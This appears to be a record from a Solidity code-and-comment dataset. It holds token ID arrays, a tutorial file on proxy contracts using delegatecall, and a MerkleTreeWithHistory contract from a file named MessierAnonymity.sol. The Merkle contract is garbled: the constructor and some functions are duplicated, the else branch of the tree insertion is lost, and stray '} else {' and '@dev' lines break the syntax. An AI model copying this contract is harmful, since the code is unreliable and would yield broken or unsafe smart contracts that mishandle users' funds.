49,
474,
1345,
12,
3327,
774,
758,
1724,
1769,
203,
3639,
289,
203,
3639,
389,
81,
474,
12,
3576,
18,
15330,
16,
261,
67,
3327,
2673,
18,
2469,
2934,
16411,
12,
3327,
382,
3218,
77,
10019,
203,
565,
289,
203,
203,
203,
565,
445,
443,
1724,
30492,
1876,
49,
474,
5157,
12,
11890,
5034,
8526,
745,
892,
389,
3327,
2673,
13,
3903,
1661,
426,
8230,
970,
288,
203,
3639,
2583,
24899,
3327,
2673,
18,
2469,
405,
374,
16,
296,
19940,
1297,
4879,
392,
526,
598,
622,
4520,
1245,
930,
8284,
203,
3639,
364,
12,
11890,
277,
273,
374,
31,
277,
411,
389,
3327,
2673,
18,
2469,
31,
277,
27245,
95,
203,
5411,
2254,
5034,
5270,
774,
758,
1724,
273,
389,
3327,
2673,
63,
77,
15533,
203,
5411,
2583,
12,
3576,
18,
15330,
422,
5270,
4670,
18,
8443,
951,
12,
3327,
774,
758,
1724,
3631,
296,
19940,
741,
486,
4953,
333,
5270,
8284,
203,
5411,
2583,
12,
3327,
4670,
18,
588,
31639,
12,
3327,
774,
758,
1724,
13,
422,
1758,
12,
2211,
3631,
296,
19940,
1297,
6617,
537,
1435,
333,
6835,
358,
8492,
518,
4132,
358,
598,
9446,
333,
5270,
1865,
1846,
848,
443,
1724,
279,
5270,
8284,
203,
5411,
5270,
4670,
18,
13866,
1265,
12,
3576,
18,
15330,
16,
1758,
12,
2211,
3631,
5270,
774,
758,
1724,
1769,
203,
5411,
389,
6206,
6415,
12,
3327,
774,
758,
1724,
1769,
203,
5411,
3626,
4019,
538,
305,
6415,
1876,
49,
474,
1345,
12,
3327,
774,
758,
1724,
1769,
203,
3639,
289,
203,
3639,
389,
81,
474,
12,
3576,
18,
15330,
16,
261,
67,
3327,
2673,
18,
2469,
2934,
16411,
12,
3327,
382,
3218,
77,
10019,
203,
565,
289,
203,
203,
203,
565,
445,
18305,
5157,
1876,
1190,
9446,
30492,
12,
11890,
5034,
8526,
745,
892,
389,
3327,
2673,
16,
1758,
8526,
745,
892,
389,
10590,
7148,
13,
3903,
1661,
426,
8230,
970,
288,
203,
3639,
2583,
24899,
3327,
2673,
18,
2469,
422,
389,
10590,
7148,
18,
2469,
16,
296,
19940,
5061,
486,
5615,
279,
2929,
1758,
364,
1517,
434,
326,
18122,
1846,
14302,
358,
598,
9446,
8284,
203,
3639,
2583,
24899,
3327,
2673,
18,
2469,
405,
374,
16,
296,
19940,
1297,
4879,
392,
526,
598,
622,
4520,
1245,
930,
8284,
203,
203,
3639,
2254,
5034,
818,
5157,
774,
38,
321,
273,
389,
3327,
2673,
18,
2469,
31,
203,
3639,
2583,
12,
12296,
951,
12,
3576,
18,
15330,
13,
1545,
818,
5157,
774,
38,
321,
18,
16411,
12,
3327,
382,
3218,
77,
3631,
296,
19940,
741,
486,
4953,
7304,
2430,
358,
598,
9446,
333,
4906,
4232,
39,
27,
5340,
18122,
8284,
203,
3639,
389,
70,
321,
12,
3576,
18,
15330,
16,
818,
5157,
774,
38,
321,
18,
16411,
12,
3327,
382,
3218,
77,
10019,
203,
203,
3639,
364,
12,
11890,
277,
273,
374,
31,
277,
411,
818,
5157,
774,
38,
321,
31,
277,
27245,
95,
203,
5411,
2254,
5034,
5270,
774,
1190,
9446,
273,
389,
3327,
2673,
63,
77,
15533,
203,
5411,
309,
12,
3327,
774,
1190,
9446,
422,
374,
15329,
203,
7734,
5270,
774,
1190,
9446,
273,
389,
5120,
6415,
5621,
203,
7734,
2583,
12,
291,
6415,
382,
758,
363,
12,
3327,
774,
1190,
9446,
3631,
296,
2211,
5270,
353,
486,
316,
326,
27895,
8284,
203,
7734,
2583,
12,
2867,
12,
2211,
13,
422,
5270,
4670,
18,
8443,
951,
12,
3327,
774,
1190,
9446,
3631,
296,
5787,
6835,
1552,
486,
4953,
333,
5270,
8284,
203,
7734,
389,
4479,
1265,
758,
363,
12,
3327,
774,
1190,
9446,
1769,
203,
5411,
289,
203,
5411,
5270,
4670,
18,
13866,
1265,
12,
2867,
12,
2211,
3631,
389,
10590,
7148,
2
] |
// SPDX-License-Identifier: GPL-3.0
pragma solidity >=0.7.0 <0.9.0;
// Nice To Follow :
// https://blog.openzeppelin.com/ethereum-in-depth-part-2-6339cf6bddb9/
// https://blog.openzeppelin.com/proxy-patterns/ => MUST READ
// https://blog.openzeppelin.com/the-transparent-proxy-pattern/
// https://www.youtube.com/watch?v=YpEm9Ki0qLE => MUST WATCH
// https://www.youtube.com/watch?v=bdXJmWajZRY
// https://www.youtube.com/watch?v=zUtnYtxjOrc
/**
This contract help us call another contract with only metadata
But what about storage?
*/
contract ProxyContractWithCallNoStorage {
address public proxiedAddress;
constructor(address _realAddress){
proxiedAddress = _realAddress;
}
fallback() external payable{
// With the code block we are able to call any contract just using same abi
// All we need is update proxy address
// But problem here is the storage
// When we change the address of pointing contract, we can't access old datas anymore
// All datas are lost now
(bool s, ) = proxiedAddress.call(msg.data);
require(s);
}
function returnHex() external pure returns(bytes memory){
return abi.encodeWithSignature("setTest(uint256)",11);
}
function returnHexForSetBoolean() external pure returns(bytes memory){
return abi.encodeWithSignature("setBoolean()");
}
receive() external payable{
}
}
/**
This contract is the main logic contract
We store main logic and storage here
*/
contract RealContract {
uint256 public test;
bool public updated;
bytes public mData;
struct SWithCallback{
uint256 counter;
bytes callbackFunction;
}
SWithCallback public callbackedStruct;
constructor(){
callbackedStruct = SWithCallback({
counter:0,
callbackFunction: abi.encodeWithSignature("setBoolean()")
});
}
function setTest(uint256 val) external{
test = val;
}
function runCallback() external{
runWithCall(callbackedStruct.callbackFunction);
}
function returnHex() external pure returns(bytes memory){
bytes4 select = bytes4(keccak256(abi.encodePacked("setTest(uint256)")));
return abi.encodeWithSelector(select,22);
}
function returnWithSelector() pure external returns(bytes memory){
return abi.encodeWithSelector(this.setTest.selector, 100);
}
function setBoolean() external{
updated = true;
}
function runWithCall(bytes memory callback) internal{
address c = address(this);
(bool s, ) = c.delegatecall(callback);
require(s, "require was false");
}
}
/**
* @title Proxy contract
* @dev Calls functions from other contract while keeping storage same
* By using delegate call, we managed to solve the issue with the top and
* Now we are not losing storage data while we can still change the logic
* delegatecall let's us use any contracts functions like libraries
*/
contract Proxy {
uint256 public number;
address public proxyAddress;
function setProxyAddr(address _proxy) external {
proxyAddress = _proxy;
}
function decode(bytes memory _output) external pure returns(bytes memory, uint, bool){
return abi.decode(_output, (bytes, uint, bool));
}
fallback(bytes calldata input) external returns(bytes memory){
(bool success, bytes memory returnData) = proxyAddress.delegatecall(msg.data);
require(success);
return returnData;
}
}
contract LogicContract{
uint256 public number; // Storage is same with the proxy
function changeUint(uint256 _n) external returns(bytes memory, uint, bool){
number = _n;
return("Hello World", 100, true);
}
}
contract ProxyWithLowLevel {
uint256 public number;
address public proxyAddress;
function setProxyAddr(address _proxy) external {
proxyAddress = _proxy;
}
function decode(bytes memory _output) external pure returns(bytes memory, uint, bool){
return abi.decode(_output, (bytes, uint, bool));
}
fallback(bytes calldata input) external returns(bytes memory){
address localProxy = proxyAddress; // in assembly we can only call local variables
assembly {
let ptr := mload(0x40) // Get the pointer which points to address 0x40 (EVM provides this address and ensures this address is available)
// (1) copy incoming call data
// Calldatasize function simply gives the size of msg.data
// calldata copy takes 3 argument and (t, f, s): it will copy s bytes of calldata at position f into memory at position t. In addition, Solidity lets you access to the calldata through msg.data
calldatacopy(ptr, 0, calldatasize())
// (2) forward call to logic contract
// Running delegate call
let result := delegatecall(gas(), localProxy, ptr, calldatasize(), 0, 0)
// Return data size
let size := returndatasize()
// (3) retrieve return data
// Copy return data
returndatacopy(ptr, 0, size)
// (4) forward return data back to caller
// If there is result return else revert
switch result
case 0 { revert(ptr, size) }
default { return(ptr, size) }
}
}
}
|
(1) copy incoming call data Calldatasize function simply gives the size of msg.data calldata copy takes 3 argument and (t, f, s): it will copy s bytes of calldata at position f into memory at position t. In addition, Solidity lets you access to the calldata through msg.data (2) forward call to logic contract Running delegate call Return data size (3) retrieve return data Copy return data (4) forward return data back to caller If there is result return else revert
|
fallback(bytes calldata input) external returns(bytes memory){
assembly {
calldatacopy(ptr, 0, calldatasize())
let result := delegatecall(gas(), localProxy, ptr, calldatasize(), 0, 0)
let size := returndatasize()
returndatacopy(ptr, 0, size)
switch result
}
}
| 5,468,817 |
[
1,
4625,
348,
7953,
560,
30,
225,
261,
21,
13,
1610,
6935,
745,
501,
3049,
13178,
554,
445,
8616,
14758,
326,
963,
434,
1234,
18,
892,
745,
892,
1610,
5530,
890,
1237,
471,
261,
88,
16,
284,
16,
272,
4672,
518,
903,
1610,
272,
1731,
434,
745,
892,
622,
1754,
284,
1368,
3778,
622,
1754,
268,
18,
657,
2719,
16,
348,
7953,
560,
14557,
1846,
2006,
358,
326,
745,
892,
3059,
1234,
18,
892,
261,
22,
13,
5104,
745,
358,
4058,
6835,
20480,
7152,
745,
2000,
501,
963,
261,
23,
13,
4614,
327,
501,
5631,
327,
501,
261,
24,
13,
5104,
327,
501,
1473,
358,
4894,
971,
1915,
353,
563,
327,
469,
15226,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
1,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0
] |
[
1,
565,
5922,
12,
3890,
745,
892,
810,
13,
3903,
1135,
12,
3890,
3778,
15329,
203,
3639,
19931,
288,
203,
27699,
225,
745,
892,
3530,
12,
6723,
16,
374,
16,
745,
13178,
554,
10756,
7010,
203,
225,
2231,
563,
519,
7152,
1991,
12,
31604,
9334,
1191,
3886,
16,
6571,
16,
745,
13178,
554,
9334,
374,
16,
374,
13,
203,
225,
2231,
963,
519,
327,
13178,
554,
1435,
203,
203,
225,
327,
892,
3530,
12,
6723,
16,
374,
16,
963,
13,
203,
203,
225,
1620,
563,
203,
97,
203,
565,
289,
203,
2,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100,
-100
] |
./partial_match/1/0x191384B7ebd24d5CA779b2C6C393b2d272cEb4c9/sources/MessierAnonymity.sol
|
the following variables are made public for easier testing and debugging and are not supposed to be accessed in regular code
|
contract MerkleTreeWithHistory {
uint256 public constant FIELD_SIZE = 21888242871839275222246405745257275088548364400416034343698204186575808495617;
uint32 public levels;
bytes32[] public filledSubtrees;
bytes32[] public zeros;
uint32 public currentRootIndex = 0;
uint32 public nextIndex = 0;
uint32 public constant ROOT_HISTORY_SIZE = 100;
bytes32[ROOT_HISTORY_SIZE] public roots;
constructor() public {
levels = 20;
bytes32 currentZero = bytes32(ZERO_VALUE);
zeros.push(currentZero);
filledSubtrees.push(currentZero);
for (uint32 i = 1; i < levels; i++) {
currentZero = hashLeftRight(currentZero, currentZero);
zeros.push(currentZero);
filledSubtrees.push(currentZero);
}
roots[0] = hashLeftRight(currentZero, currentZero);
}
constructor() public {
levels = 20;
bytes32 currentZero = bytes32(ZERO_VALUE);
zeros.push(currentZero);
filledSubtrees.push(currentZero);
for (uint32 i = 1; i < levels; i++) {
currentZero = hashLeftRight(currentZero, currentZero);
zeros.push(currentZero);
filledSubtrees.push(currentZero);
}
roots[0] = hashLeftRight(currentZero, currentZero);
}
@dev Hash 2 tree leaves, returns MiMC(_left, _right)
function hashLeftRight(bytes32 _left, bytes32 _right) public pure returns (bytes32) {
require(uint256(_left) < FIELD_SIZE, "_left should be inside the field");
require(uint256(_right) < FIELD_SIZE, "_right should be inside the field");
uint256 R = uint256(_left);
uint256 C = 0;
(R, C) = Hasher.MiMCSponge(R, C);
R = addmod(R, uint256(_right), FIELD_SIZE);
(R, C) = Hasher.MiMCSponge(R, C);
return bytes32(R);
}
function _insert(bytes32 _leaf) internal returns(uint32 index) {
uint32 currentIndex = nextIndex;
require(currentIndex != uint32(2)**levels, "Merkle tree is full. No more leafs can be added");
nextIndex += 1;
bytes32 currentLevelHash = _leaf;
bytes32 left;
bytes32 right;
for (uint32 i = 0; i < levels; i++) {
if (currentIndex % 2 == 0) {
left = currentLevelHash;
right = zeros[i];
filledSubtrees[i] = currentLevelHash;
left = filledSubtrees[i];
right = currentLevelHash;
}
currentLevelHash = hashLeftRight(left, right);
currentIndex /= 2;
}
currentRootIndex = (currentRootIndex + 1) % ROOT_HISTORY_SIZE;
roots[currentRootIndex] = currentLevelHash;
return nextIndex - 1;
}
function _insert(bytes32 _leaf) internal returns(uint32 index) {
uint32 currentIndex = nextIndex;
require(currentIndex != uint32(2)**levels, "Merkle tree is full. No more leafs can be added");
nextIndex += 1;
bytes32 currentLevelHash = _leaf;
bytes32 left;
bytes32 right;
for (uint32 i = 0; i < levels; i++) {
if (currentIndex % 2 == 0) {
left = currentLevelHash;
right = zeros[i];
filledSubtrees[i] = currentLevelHash;
left = filledSubtrees[i];
right = currentLevelHash;
}
currentLevelHash = hashLeftRight(left, right);
currentIndex /= 2;
}
currentRootIndex = (currentRootIndex + 1) % ROOT_HISTORY_SIZE;
roots[currentRootIndex] = currentLevelHash;
return nextIndex - 1;
}
function _insert(bytes32 _leaf) internal returns(uint32 index) {
uint32 currentIndex = nextIndex;
require(currentIndex != uint32(2)**levels, "Merkle tree is full. No more leafs can be added");
nextIndex += 1;
bytes32 currentLevelHash = _leaf;
bytes32 left;
bytes32 right;
for (uint32 i = 0; i < levels; i++) {
if (currentIndex % 2 == 0) {
left = currentLevelHash;
right = zeros[i];
filledSubtrees[i] = currentLevelHash;
left = filledSubtrees[i];
right = currentLevelHash;
}
currentLevelHash = hashLeftRight(left, right);
currentIndex /= 2;
}
currentRootIndex = (currentRootIndex + 1) % ROOT_HISTORY_SIZE;
roots[currentRootIndex] = currentLevelHash;
return nextIndex - 1;
}
} else {
@dev Whether the root is present in the root history
function isKnownRoot(bytes32 _root) public view returns(bool) {
if (_root == 0) {
return false;
}
uint32 i = currentRootIndex;
do {
if (_root == roots[i]) {
return true;
}
if (i == 0) {
i = ROOT_HISTORY_SIZE;
}
i--;
} while (i != currentRootIndex);
return false;
}
function isKnownRoot(bytes32 _root) public view returns(bool) {
if (_root == 0) {
return false;
}
uint32 i = currentRootIndex;
do {
if (_root == roots[i]) {
return true;
}
if (i == 0) {
i = ROOT_HISTORY_SIZE;
}
i--;
} while (i != currentRootIndex);
return false;
}
function isKnownRoot(bytes32 _root) public view returns(bool) {
if (_root == 0) {
return false;
}
uint32 i = currentRootIndex;
do {
if (_root == roots[i]) {
return true;
}
if (i == 0) {
i = ROOT_HISTORY_SIZE;
}
i--;
} while (i != currentRootIndex);
return false;
}
function isKnownRoot(bytes32 _root) public view returns(bool) {
if (_root == 0) {
return false;
}
uint32 i = currentRootIndex;
do {
if (_root == roots[i]) {
return true;
}
if (i == 0) {
i = ROOT_HISTORY_SIZE;
}
i--;
} while (i != currentRootIndex);
return false;
}
function isKnownRoot(bytes32 _root) public view returns(bool) {
if (_root == 0) {
return false;
}
uint32 i = currentRootIndex;
do {
if (_root == roots[i]) {
return true;
}
if (i == 0) {
i = ROOT_HISTORY_SIZE;
}
i--;
} while (i != currentRootIndex);
return false;
}
@dev Returns the last root
function getLastRoot() public view returns(bytes32) {
return roots[currentRootIndex];
}
}
| 4,143,334 |
[
1,
4625,
348,
7953,
560,
30,
225,
326,
3751,
3152,
854,
7165,
1071,
364,
15857,
7769,
471,
10450,
471,
854,
486,
18405,
358,
506,
15539,
316,
6736,
981,
2,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
0,
